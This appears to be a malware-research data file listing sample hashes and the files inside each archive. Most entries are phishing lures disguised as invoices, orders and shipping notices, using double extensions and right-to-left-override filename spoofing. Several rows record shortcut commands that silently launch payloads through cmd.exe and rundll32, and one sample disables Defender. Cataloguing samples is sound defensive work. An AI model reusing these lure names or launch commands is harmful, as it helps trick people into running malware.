.\73a25bbed622f4f1e18de866f24a3fc7b8398b54ca83d0778fa8e80d264e155f	73a25bbed622f4f1e18de866f24a3fc7b8398b54ca83d0778fa8e80d264e155f_1661938885	['.\73a25bbed622f4f1e18de866f24a3fc7b8398b54ca83d0778fa8e80d264e155f_1661938885/commercial invoice.exe']
.\73c6bf9070a559e264c15ca631f4e2de35984cbbb71c4eeda0c15ca4482014b4	73c6bf9070a559e264c15ca631f4e2de35984cbbb71c4eeda0c15ca4482014b4_1661938885	['.\73c6bf9070a559e264c15ca631f4e2de35984cbbb71c4eeda0c15ca4482014b4_1661938885/Svovliltens.exe']
.\74432992f9fdea71055840a1635be7670cb127e8d56732ce6cb717a55eb674c5	74432992f9fdea71055840a1635be7670cb127e8d56732ce6cb717a55eb674c5_1661938885	['.\74432992f9fdea71055840a1635be7670cb127e8d56732ce6cb717a55eb674c5_1661938885/dazement.exe']
.\7591d06e5117b9bd1c30a80e98b286b19c142c8ed3d112c39fbcd2cee4904184	7591d06e5117b9bd1c30a80e98b286b19c142c8ed3d112c39fbcd2cee4904184_1661938885	['.\7591d06e5117b9bd1c30a80e98b286b19c142c8ed3d112c39fbcd2cee4904184_1661938885/vugYXIwz1MreL5B.exe']
.\76028080a3726185d0ed96fbbac7d14f69d954e60f8cb43ac4f09e1232fc5a54	76028080a3726185d0ed96fbbac7d14f69d954e60f8cb43ac4f09e1232fc5a54_1661938885	['.\76028080a3726185d0ed96fbbac7d14f69d954e60f8cb43ac4f09e1232fc5a54_1661938885/Tarjouspyyntö-Lasku 17-08-2022.exe']
.\7c1620504cdd8b4e042493ca5ec4f9941764a0a3e3b7f6eee5c8cc1aca665f9b	7c1620504cdd8b4e042493ca5ec4f9941764a0a3e3b7f6eee5c8cc1aca665f9b_1661938885	['.\7c1620504cdd8b4e042493ca5ec4f9941764a0a3e3b7f6eee5c8cc1aca665f9b_1661938885/082653-5354cod_wire_transfer_email_xls-2022_08_14.exe']
.\7c5c0551633c740c1d168c01f00fc1a8fabf2a90512a9093cce47decd62ba636	7c5c0551633c740c1d168c01f00fc1a8fabf2a90512a9093cce47decd62ba636_1661938885	['.\7c5c0551633c740c1d168c01f00fc1a8fabf2a90512a9093cce47decd62ba636_1661938885/File.exe;1']
.\7d185e99f61ed17e1843cfb89c6e510b24373a0cb4f677b97388af012a45a3e0	7d185e99f61ed17e1843cfb89c6e510b24373a0cb4f677b97388af012a45a3e0_1661938885	['.\7d185e99f61ed17e1843cfb89c6e510b24373a0cb4f677b97388af012a45a3e0_1661938885/juyUoWwUf7fs624.exe']
.\7efe37e9add266607a526764355c2a6a0a7f99d31a737da06630c3d41940c7dd	7efe37e9add266607a526764355c2a6a0a7f99d31a737da06630c3d41940c7dd_1661938885	['.\7efe37e9add266607a526764355c2a6a0a7f99d31a737da06630c3d41940c7dd_1661938885/New Order TI3 134324_pdf .exe']
.\80ec436ab35dc25bc5e0acc056bea50c61774a92c3806aa9e5ab5ae5c5a4d7df	80ec436ab35dc25bc5e0acc056bea50c61774a92c3806aa9e5ab5ae5c5a4d7df_1661938885	"['.\80ec436ab35dc25bc5e0acc056bea50c61774a92c3806aa9e5ab5ae5c5a4d7df_1661938885/Подтвердить заказ-1969_V5 # 8346,pdf.exe']"
.\8124e764dcfcf3349c2793a70b756d8b04db0fddac1af8d58f8a16533197f9be	8124e764dcfcf3349c2793a70b756d8b04db0fddac1af8d58f8a16533197f9be_1661938885	['.\8124e764dcfcf3349c2793a70b756d8b04db0fddac1af8d58f8a16533197f9be_1661938885/Re_01373.exe;1']
.\817a26f7f20e9b790560bf4f9b365591dd0cd11c7ccd8e2a6b2500d288dea228	817a26f7f20e9b790560bf4f9b365591dd0cd11c7ccd8e2a6b2500d288dea228_1661938885	['.\817a26f7f20e9b790560bf4f9b365591dd0cd11c7ccd8e2a6b2500d288dea228_1661938885/Order_59385592485.exe;1']
.\822b515719f3fe89ba4a9071dd12269cbbb0af9cd03e897ccfd3e52b30e8378b	822b515719f3fe89ba4a9071dd12269cbbb0af9cd03e897ccfd3e52b30e8378b_1661938885	"['.\822b515719f3fe89ba4a9071dd12269cbbb0af9cd03e897ccfd3e52b30e8378b_1661938885/DHL_119040 recibo,pdf.exe']"
.\82c5cfb82912e1da0d388fb2428bc644b001908a27c0dc287ce72d6c2939a89f	82c5cfb82912e1da0d388fb2428bc644b001908a27c0dc287ce72d6c2939a89f_1661938885	['.\82c5cfb82912e1da0d388fb2428bc644b001908a27c0dc287ce72d6c2939a89f_1661938885/readme.txt.cmd']
.\82ee783f3cae0f1d955414d38e99f6229b95f46a194e181bbf7fac2610148339	82ee783f3cae0f1d955414d38e99f6229b95f46a194e181bbf7fac2610148339_1661938885	"['.\82ee783f3cae0f1d955414d38e99f6229b95f46a194e181bbf7fac2610148339_1661938885/CBI_TAX518014569364736 \u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202efdp.exe', '.\82ee783f3cae0f1d955414d38e99f6229b95f46a194e181bbf7fac2610148339_1661938885/CBI_TAX518014850158635 \u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202efdp.exe']"
.\8330a22dc0d05221740fed56f79e621cff84da4bada55ae28af13d105b0b4d3a	8330a22dc0d05221740fed56f79e621cff84da4bada55ae28af13d105b0b4d3a_1661938885	['.\8330a22dc0d05221740fed56f79e621cff84da4bada55ae28af13d105b0b4d3a_1661938885/INQ-985346.exe']
.\84a0325ec4136d0ad9113e0958a444a2ab584eac87fd4a109fc264294a5e2648	84a0325ec4136d0ad9113e0958a444a2ab584eac87fd4a109fc264294a5e2648_1661938885	['.\84a0325ec4136d0ad9113e0958a444a2ab584eac87fd4a109fc264294a5e2648_1661938885/20-00030.exe']
.\84f3603900d8150778ae112604b9867bec6d8bf355e563ed13d22c20d3dee9ba	84f3603900d8150778ae112604b9867bec6d8bf355e563ed13d22c20d3dee9ba_1661938885	['.\84f3603900d8150778ae112604b9867bec6d8bf355e563ed13d22c20d3dee9ba_1661938885/TNT INVOICE.exe']
.\85129fcac431f611dd0ac4d878ea3c03cf68893b4934f87e54c132be5c6ad504	85129fcac431f611dd0ac4d878ea3c03cf68893b4934f87e54c132be5c6ad504_1661938885	['.\85129fcac431f611dd0ac4d878ea3c03cf68893b4934f87e54c132be5c6ad504_1661938885/exercices conjugaison anglais pdf-3079733bf4.exe']
.\86185d63eaf64c0cee8beafdb9c3782c5999e9af9539f3b5697b139cf520653b	86185d63eaf64c0cee8beafdb9c3782c5999e9af9539f3b5697b139cf520653b_1661938885	['.\86185d63eaf64c0cee8beafdb9c3782c5999e9af9539f3b5697b139cf520653b_1661938885/Solicitud de cotización P.0-202208100237RO.exe']
.\86e4fd79dc1eb10ba2e6b7f2c1418791e80e1b0543c32dd36f907b5989721bde	86e4fd79dc1eb10ba2e6b7f2c1418791e80e1b0543c32dd36f907b5989721bde_1661938885	['.\86e4fd79dc1eb10ba2e6b7f2c1418791e80e1b0543c32dd36f907b5989721bde_1661938885/RFQ- 2022081509470429.exe']
.\880035cd5be51bb434357b54647e2164f5df932713d871f42386f81c46a182d8	880035cd5be51bb434357b54647e2164f5df932713d871f42386f81c46a182d8_1661938885	['.\880035cd5be51bb434357b54647e2164f5df932713d871f42386f81c46a182d8_1661938885/Nirotec Scan_01082022085619_pdf.exe']
.\886f3eb226dabacd956d96a26ec5b3b60f08e600e044183c91afcbeaa66ff5b3	886f3eb226dabacd956d96a26ec5b3b60f08e600e044183c91afcbeaa66ff5b3_1661938885
.\8934f58e586f4264f834864e5a3aa03607b50104f1c99c404370acb4178c2d9c	8934f58e586f4264f834864e5a3aa03607b50104f1c99c404370acb4178c2d9c_1661938885	"['.\8934f58e586f4264f834864e5a3aa03607b50104f1c99c404370acb4178c2d9c_1661938885/12v3q3Ee.png', '.\8934f58e586f4264f834864e5a3aa03607b50104f1c99c404370acb4178c2d9c_1661938885/for_you_presentation-130722.9319.png.lnk', '.\8934f58e586f4264f834864e5a3aa03607b50104f1c99c404370acb4178c2d9c_1661938885/mfQjc9Cy.dll']"	.\8934f58e586f4264f834864e5a3aa03607b50104f1c99c404370acb4178c2d9c_1661938885/for_you_presentation-130722.9319.png.lnk	C:\Windows\System32\cmd.exe	"/c ""start 12v3q3Ee.png && start rundll32 mfQjc9Cy.dll
.\8b11f585fcc288af301cc4692c4a6893eefda16cf02c709834308982087d4a1d	8b11f585fcc288af301cc4692c4a6893eefda16cf02c709834308982087d4a1d_1661938885	"['.\8b11f585fcc288af301cc4692c4a6893eefda16cf02c709834308982087d4a1d_1661938885/RFQ 103404_00108172022,pdf.exe']"
.\8c5dcb0850b7af9a117dcc493f55b4b8ef20379c22670ab91ba2de0f61841d21	8c5dcb0850b7af9a117dcc493f55b4b8ef20379c22670ab91ba2de0f61841d21_1661938885	['.\8c5dcb0850b7af9a117dcc493f55b4b8ef20379c22670ab91ba2de0f61841d21_1661938885/0010082022.exe']
.\8c75eba91ce1a569055db3d083ff412823e2aaef6dd343fd5c3e804f85588bf4	8c75eba91ce1a569055db3d083ff412823e2aaef6dd343fd5c3e804f85588bf4_1661938885	"['.\8c75eba91ce1a569055db3d083ff412823e2aaef6dd343fd5c3e804f85588bf4_1661938885/Attached Order Receip, pdf']"
.\8cd970d161a0dd5d8d176e4ef222519a6764bd45ff3408aebe57f4a2437187c2	8cd970d161a0dd5d8d176e4ef222519a6764bd45ff3408aebe57f4a2437187c2_1661938885	['.\8cd970d161a0dd5d8d176e4ef222519a6764bd45ff3408aebe57f4a2437187c2_1661938885/RFQ-MEJOR PRECIO PARA LOS ARTÍCULOS.exe']
.\8d201be45ab190a74a16a0cac0ddb7b36d5bd012001c55b49ed3b0cbd3ac32ab	8d201be45ab190a74a16a0cac0ddb7b36d5bd012001c55b49ed3b0cbd3ac32ab_1661938885	['.\8d201be45ab190a74a16a0cac0ddb7b36d5bd012001c55b49ed3b0cbd3ac32ab_1661938885/RFQ_2022_PROJECT.exe']
.\8d59f820245ba6962b86ea21ce2cb856d0416ae84e87de47baccba0d2bf2f907	8d59f820245ba6962b86ea21ce2cb856d0416ae84e87de47baccba0d2bf2f907_1661938885	['.\8d59f820245ba6962b86ea21ce2cb856d0416ae84e87de47baccba0d2bf2f907_1661938885/DOCUMENT-AUG-17-2022.exe']
.\8dc5747a116e3725139e744b0743625e87cd1acbe882aa88c88a992896e02909	8dc5747a116e3725139e744b0743625e87cd1acbe882aa88c88a992896e02909_1661938885	['.\8dc5747a116e3725139e744b0743625e87cd1acbe882aa88c88a992896e02909_1661938885/RFQ-MEJOR PRECIO PARA LOS ARTÍCULOS.exe']
.\8f13d2008597b59a522d4706337d9319a59e57eb3e49529a3b46a7d5ffd2596e	8f13d2008597b59a522d4706337d9319a59e57eb3e49529a3b46a7d5ffd2596e_1661938885	['.\8f13d2008597b59a522d4706337d9319a59e57eb3e49529a3b46a7d5ffd2596e_1661938885/ORDER_CF2022-24400_pdf.exe']
.\8fd64da18fbbd5865463cda2b322f39f7307bfde404d3edc93b8777b5cc33d0d	8fd64da18fbbd5865463cda2b322f39f7307bfde404d3edc93b8777b5cc33d0d_1661938885	['.\8fd64da18fbbd5865463cda2b322f39f7307bfde404d3edc93b8777b5cc33d0d_1661938885/Scan Doc_202656845_pdf .exe']
.\9160665801d9961ad5833efa167efd743e4f41c5803e3c6105052e1276796033	9160665801d9961ad5833efa167efd743e4f41c5803e3c6105052e1276796033_1661938885	['.\9160665801d9961ad5833efa167efd743e4f41c5803e3c6105052e1276796033_1661938885/POEZD_RA.EXE;1']
.\9242cdd6f980e6fa6c5f398369984373c3df2aa5325b053ff3435d694ef8a302	9242cdd6f980e6fa6c5f398369984373c3df2aa5325b053ff3435d694ef8a302_1661938885	['.\9242cdd6f980e6fa6c5f398369984373c3df2aa5325b053ff3435d694ef8a302_1661938885/SEPTEMBER ORDER Lemonconcentrate 48857574884_html .vbs']
.\9262445975fcd47addb17666c5c3d3ddd12bd760aee5e4443562b78b6da677af	9262445975fcd47addb17666c5c3d3ddd12bd760aee5e4443562b78b6da677af_1661938885	"['.\9262445975fcd47addb17666c5c3d3ddd12bd760aee5e4443562b78b6da677af_1661938885/Belaquilon ЗАКАЗ НА ПОКУПКУ_U00162,pdf.exe']"
.\928ff782b5cc6ba7e7c2ca57d36129f60d4caf178bb1e1c637c5c4e56a395415	928ff782b5cc6ba7e7c2ca57d36129f60d4caf178bb1e1c637c5c4e56a395415_1661938885	['.\928ff782b5cc6ba7e7c2ca57d36129f60d4caf178bb1e1c637c5c4e56a395415_1661938885/FILE66373555466455_773883837736.vbs']
.\92d32e8ddfbc3a357ec7b25075c881052c153e505b678d26a76fe9d0aed63a64	92d32e8ddfbc3a357ec7b25075c881052c153e505b678d26a76fe9d0aed63a64_1661938885	['.\92d32e8ddfbc3a357ec7b25075c881052c153e505b678d26a76fe9d0aed63a64_1661938885/fiiii.exe;1']
.\93e7716177f240d6052ef8450d7112470332a11edf48721665c5755fcaba3ba1	93e7716177f240d6052ef8450d7112470332a11edf48721665c5755fcaba3ba1_1661938885	['.\93e7716177f240d6052ef8450d7112470332a11edf48721665c5755fcaba3ba1_1661938885/55ddd602cc282b8a72-816779ddd662cc282b8a72-8166-9ceb-898064d602cc.vbs']
.\942ac4b6b8889d7834f6a9255d823145762a7f52a315654ad58f772cbc3aa5df	942ac4b6b8889d7834f6a9255d823145762a7f52a315654ad58f772cbc3aa5df_1661938885	['.\942ac4b6b8889d7834f6a9255d823145762a7f52a315654ad58f772cbc3aa5df_1661938885/附上我们的订单文件TU3206，pdf.exe']
.\95f690fc084d36b3648d5b83d230969aea2e2ecc6d9810c966b286d9e0144c76	95f690fc084d36b3648d5b83d230969aea2e2ecc6d9810c966b286d9e0144c76_1661938885	['.\95f690fc084d36b3648d5b83d230969aea2e2ecc6d9810c966b286d9e0144c76_1661938885/Doc67906.pif']
.\9628c36ead0a23b052738fd177a7933e781d891948e9bb804cb9f7b1f68ae0a7	9628c36ead0a23b052738fd177a7933e781d891948e9bb804cb9f7b1f68ae0a7_1661938885	"['.\9628c36ead0a23b052738fd177a7933e781d891948e9bb804cb9f7b1f68ae0a7_1661938885/RFQ_AP65425652_032421 urgentes,pdf.exe']"
.\97853d26922d123c6a41c87aaca6e6bcc0d35201a0ebf36a41eba16f31e617c2	97853d26922d123c6a41c87aaca6e6bcc0d35201a0ebf36a41eba16f31e617c2_1661938885	['.\97853d26922d123c6a41c87aaca6e6bcc0d35201a0ebf36a41eba16f31e617c2_1661938885/Urgent First Order.exe']
.\991b0a3c57fc782f9dfe1766dac655d32140d7f5159ef047be7ab6218010119a	991b0a3c57fc782f9dfe1766dac655d32140d7f5159ef047be7ab6218010119a_1661938885	['.\991b0a3c57fc782f9dfe1766dac655d32140d7f5159ef047be7ab6218010119a_1661938885/QPF1ISWO.EXE;1']
.\9ab9f06cd57365080063a41d890ad4ce0cf140b1c4c2f82703d8cf9dc0008f67	9ab9f06cd57365080063a41d890ad4ce0cf140b1c4c2f82703d8cf9dc0008f67_1661938885	['.\9ab9f06cd57365080063a41d890ad4ce0cf140b1c4c2f82703d8cf9dc0008f67_1661938885/New Order-RFQ-2022290816-Pdf.exe']
.\9ac80eb866d23af3153f23a3bd1bf3c3827fd410791852923fd85b7122be7fd4	9ac80eb866d23af3153f23a3bd1bf3c3827fd410791852923fd85b7122be7fd4_1661938885	['.\9ac80eb866d23af3153f23a3bd1bf3c3827fd410791852923fd85b7122be7fd4_1661938885/Specification dignia Order Q3 FTD5253534 .vbs']
.\9b291caf425809855ac459b2d7903c23f4d85051bfaaddbd10926532d5d3e4f1	9b291caf425809855ac459b2d7903c23f4d85051bfaaddbd10926532d5d3e4f1_1661938885	['.\9b291caf425809855ac459b2d7903c23f4d85051bfaaddbd10926532d5d3e4f1_1661938885/DHL_DELIVERY_NOTICE.vbs']
.\9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3	9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3_1661938885	"['.\9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3_1661938885/OnlineReviewStep3.exe', '.\9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3_1661938885/STATEMENT-View.pdf.lnk', '.\9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3_1661938885/Start.vbs', '.\9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3_1661938885/icon.ico']"	.\9b3b350bd46b8b6f2ce191f2c85b5a2b7cb0898fc96aea285002d9682f94b2e3_1661938885/STATEMENT-View.pdf.lnk	Windows/system32/cmd.exe	/c start Start.vbs
.\9b93f1e3233906496039c15f67d4c14459ea898385697bca73fb630559a9f6b6	9b93f1e3233906496039c15f67d4c14459ea898385697bca73fb630559a9f6b6_1661938885	['.\9b93f1e3233906496039c15f67d4c14459ea898385697bca73fb630559a9f6b6_1661938885/DHL Shipment Notification.pdf.exe']
.\9ce84380614d0eb61fd657c42593e5cd91d122f614c00c5edea6514241951854	9ce84380614d0eb61fd657c42593e5cd91d122f614c00c5edea6514241951854_1661938885	"['.\9ce84380614d0eb61fd657c42593e5cd91d122f614c00c5edea6514241951854_1661938885/app.dll', '.\9ce84380614d0eb61fd657c42593e5cd91d122f614c00c5edea6514241951854_1661938885/pss10r.chm']"
.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059	a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885	"['.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/NSudo.json', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/NSudoLC.exe', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/NSudoLC.pdb', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/PowerRun.exe', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/ReadMe.txt', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/WinDefenderTuner.exe', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/defender_off.reg', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/defender_on.reg', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/real_off.reg', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/real_on.reg', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/reestr.reg', '.\a04c1eb5919e538fb9636d2f5dfef867ec08761a9737cbc961a4c184c7660059_1661938885/WinDefenderTuner/reset.bat']"
.\a0dfe57c163d561c0f048df47350d2fdecd3c2059992b4269a2eb3b73636bfa0	a0dfe57c163d561c0f048df47350d2fdecd3c2059992b4269a2eb3b73636bfa0_1661938885	['.\a0dfe57c163d561c0f048df47350d2fdecd3c2059992b4269a2eb3b73636bfa0_1661938885/98231415.exe']
.\a0e7ad871d3e584a53b5ce183407b55a33471da3952967bc54b44ee4866e5d6b	a0e7ad871d3e584a53b5ce183407b55a33471da3952967bc54b44ee4866e5d6b_1661938885	['.\a0e7ad871d3e584a53b5ce183407b55a33471da3952967bc54b44ee4866e5d6b1661938885/QUOTE_REQUEST_H238765_Pdf.exe']
.\a223b34212a56a35fa2534ff509798625eadf5e689b1718afe395966f09e14f9	a223b34212a56a35fa2534ff509798625eadf5e689b1718afe395966f09e14f9_1661938885	['.\a223b34212a56a35fa2534ff509798625eadf5e689b1718afe395966f09e14f9_1661938885/Doc12768.exe;1']
.\a488ce2ac4b6a470aa6abfffb32afb8735b30a992ba8352d7954397eadb28b66	a488ce2ac4b6a470aa6abfffb32afb8735b30a992ba8352d7954397eadb28b66_1661938885	['.\a488ce2ac4b6a470aa6abfffb32afb8735b30a992ba8352d7954397eadb28b66_1661938885/9210_331_xls.exe']
.\a699a8938e37743d854b7bdb27f1ee21f61ff6c4a8d29e41e5cf47770d9dd7b3	a699a8938e37743d854b7bdb27f1ee21f61ff6c4a8d29e41e5cf47770d9dd7b3_1661938885	['.\a699a8938e37743d854b7bdb27f1ee21f61ff6c4a8d29e41e5cf47770d9dd7b3_1661938885/RFQ-MEJOR PRECIO PARA LOS ARTÍCULOS.exe']
.\a77e13e5e260aa464f4d45ba9b81f2af2daf6e487b8926e0661949541a5d33e3	a77e13e5e260aa464f4d45ba9b81f2af2daf6e487b8926e0661949541a5d33e3_1661938885	"['.\a77e13e5e260aa464f4d45ba9b81f2af2daf6e487b8926e0661949541a5d33e3_1661938885/Tenorshare_12in1_Keygen_v1.3_By_DFoX.zip', '.\a77e13e5e260aa464f4d45ba9b81f2af2daf6e487b8926e0661949541a5d33e3_1661938885/setup.exe']"
.\a7bcbdd0894b9e05c77d0d57a61c046d5dec32d529cea50e5a28486424ebbc39	a7bcbdd0894b9e05c77d0d57a61c046d5dec32d529cea50e5a28486424ebbc39_1661938885	['.\a7bcbdd0894b9e05c77d0d57a61c046d5dec32d529cea50e5a28486424ebbc39_1661938885/Pakkumistaotlus 2022 - 08 - 16.exe']
.\a7e7df8e369050508196c44dfccb5f586c7b155cda40689b0a07cbc36508c9cd	a7e7df8e369050508196c44dfccb5f586c7b155cda40689b0a07cbc36508c9cd_1661938885	['.\a7e7df8e369050508196c44dfccb5f586c7b155cda40689b0a07cbc36508c9cd_1661938885/Document BT24_PDF.exe']
.\a8a726c188f2b331c70035c09508d5a80b5508631f66478f517883f54c4e9e1d	a8a726c188f2b331c70035c09508d5a80b5508631f66478f517883f54c4e9e1d_1661938885	['.\a8a726c188f2b331c70035c09508d5a80b5508631f66478f517883f54c4e9e1d_1661938885/ID_MPBQOKJLOY(8-25-2021).xlsx.vbs']
.\a91d6039fa1b404736971bdfbc187fc3f3e4b7fe1aebabce771f1d7a11a4dba8	a91d6039fa1b404736971bdfbc187fc3f3e4b7fe1aebabce771f1d7a11a4dba8_1661938885	['.\a91d6039fa1b404736971bdfbc187fc3f3e4b7fe1aebabce771f1d7a11a4dba8_1661938885/JULY2022 SOA.exe']
.\a9d967243678d31ba5027d1802fbc1606c10b7743d6d6851eddc32b9281eb2f6	a9d967243678d31ba5027d1802fbc1606c10b7743d6d6851eddc32b9281eb2f6_1661938885	"['.\a9d967243678d31ba5027d1802fbc1606c10b7743d6d6851eddc32b9281eb2f6_1661938885/des.exe', '.\a9d967243678d31ba5027d1802fbc1606c10b7743d6d6851eddc32b9281eb2f6_1661938885/economic assistance.lnk', '.\a9d967243678d31ba5027d1802fbc1606c10b7743d6d6851eddc32b9281eb2f6_1661938885/ofcpipc.dll']"	.\a9d967243678d31ba5027d1802fbc1606c10b7743d6d6851eddc32b9281eb2f6_1661938885/economic assistance.lnk	Windows/System32/cmd.exe	/c des.exe
.\abbb905c284641d81003a296a48f832f61b4fa34a4239dd278fbe0757695777c	abbb905c284641d81003a296a48f832f61b4fa34a4239dd278fbe0757695777c_1661938885	"['.\abbb905c284641d81003a296a48f832f61b4fa34a4239dd278fbe0757695777c_1661938885/RFQ AG588393528,pdf.exe']"
.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc	adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885	"['.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/invoice-not-paid-date08-08-22-pdf.lnk', '.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/at/alsoAtLikeTakeWe.txt', '.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/at/but.txt', '.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/at/time.gif', '.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/at/whatAlsoOfWhoHis.js', '.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/at/whatTheirAlsoAI.bat']"	.\adbf394ce2e83086eaa8cde6dabeb774a9189f4a3fdea176b9ef3b39455936dc_1661938885/invoice-not-paid-date08-08-22-pdf.lnk	at/whatTheirAlsoAI.bat
.\afb5941236143017c51584a2189c45a00d8a9fe53886798b118582f5544305f2	afb5941236143017c51584a2189c45a00d8a9fe53886798b118582f5544305f2_1661938885	['.\afb5941236143017c51584a2189c45a00d8a9fe53886798b118582f5544305f2_1661938885/Ordine 18082022 FRA. BEN. snc di BENAGLIA ROBERTO.exe']
.\b064141db8ea6a9e1d2130c470a01794f6e957bc3c043cac329e2a660ce61a5d	b064141db8ea6a9e1d2130c470a01794f6e957bc3c043cac329e2a660ce61a5d_1661938885	['.\b064141db8ea6a9e1d2130c470a01794f6e957bc3c043cac329e2a660ce61a5d_1661938885/503-14-7201D_Pohjapiirustus_TALO_A.pdf.lnk;1']
.\b18663c381c6b8b4e04686f7b4a6c313755b71f0aed3caad384b622fe06a5bf4	b18663c381c6b8b4e04686f7b4a6c313755b71f0aed3caad384b622fe06a5bf4_1661938885	['.\b18663c381c6b8b4e04686f7b4a6c313755b71f0aed3caad384b622fe06a5bf4_1661938885/Nirotec Scan_01082022085619_pdf.exe']
.\b1d1c06a52a31d41439d4610fbec8465f33e93f4e10261e0507858c317e5085c	b1d1c06a52a31d41439d4610fbec8465f33e93f4e10261e0507858c317e5085c_1661938885
.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1	b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885	"['.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/Personal data.lnk', '.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/two/getUp.js', '.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/two/thisThing.bat', '.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/two/wouldIn.txt', '.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/two/year.gif', '.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/two/your.txt']"	.\b1dd92682e676b64a63216fb3297db2e3c0c975e5d0fcc44f57be4cc25eb57d1_1661938885/Personal data.lnk	two/thisThing.bat
.\b318d6ff02618a2cc9d2f9abda582c78ba91bd3f8b02e3157b20d6a7cccaa0e3	b318d6ff02618a2cc9d2f9abda582c78ba91bd3f8b02e3157b20d6a7cccaa0e3_1661938885	['.\b318d6ff02618a2cc9d2f9abda582c78ba91bd3f8b02e3157b20d6a7cccaa0e3_1661938885/TNT AWB.exe']
.\b3962e6c3ea27d1a4533e0fa3480aaf15334de01056ecacb1522fc72e4162ce2	b3962e6c3ea27d1a4533e0fa3480aaf15334de01056ecacb1522fc72e4162ce2_1661938885	"['.\b3962e6c3ea27d1a4533e0fa3480aaf15334de01056ecacb1522fc72e4162ce2_1661938885/Belaquilon ЗАКАЗ НА ПОКУПКУ_U00162,pdf.exe']"
.\b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230	b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230_1661938885	"['.\b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230_1661938885/CCleanerBundle-560-Setup.exe', '.\b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230_1661938885/Ke Telegram Software.url', '.\b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230_1661938885/kuyhAa.Me.url', '.\b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230_1661938885/kygn.exe', '.\b4d51d1f3052d8c74472f163d901aedd16f8f37258985e8bc56e51e05f0cd230_1661938885/www.kuyhAa.Me.url']"
.\b5e11f4c48d4558574225db70b6d3182ff6e129ee914e29b1d38f32442d5c842	b5e11f4c48d4558574225db70b6d3182ff6e129ee914e29b1d38f32442d5c842_1661938885	"['.\b5e11f4c48d4558574225db70b6d3182ff6e129ee914e29b1d38f32442d5c842_1661938885/RFQ urgente de OTEC CFY65674543,pdf.exe']"
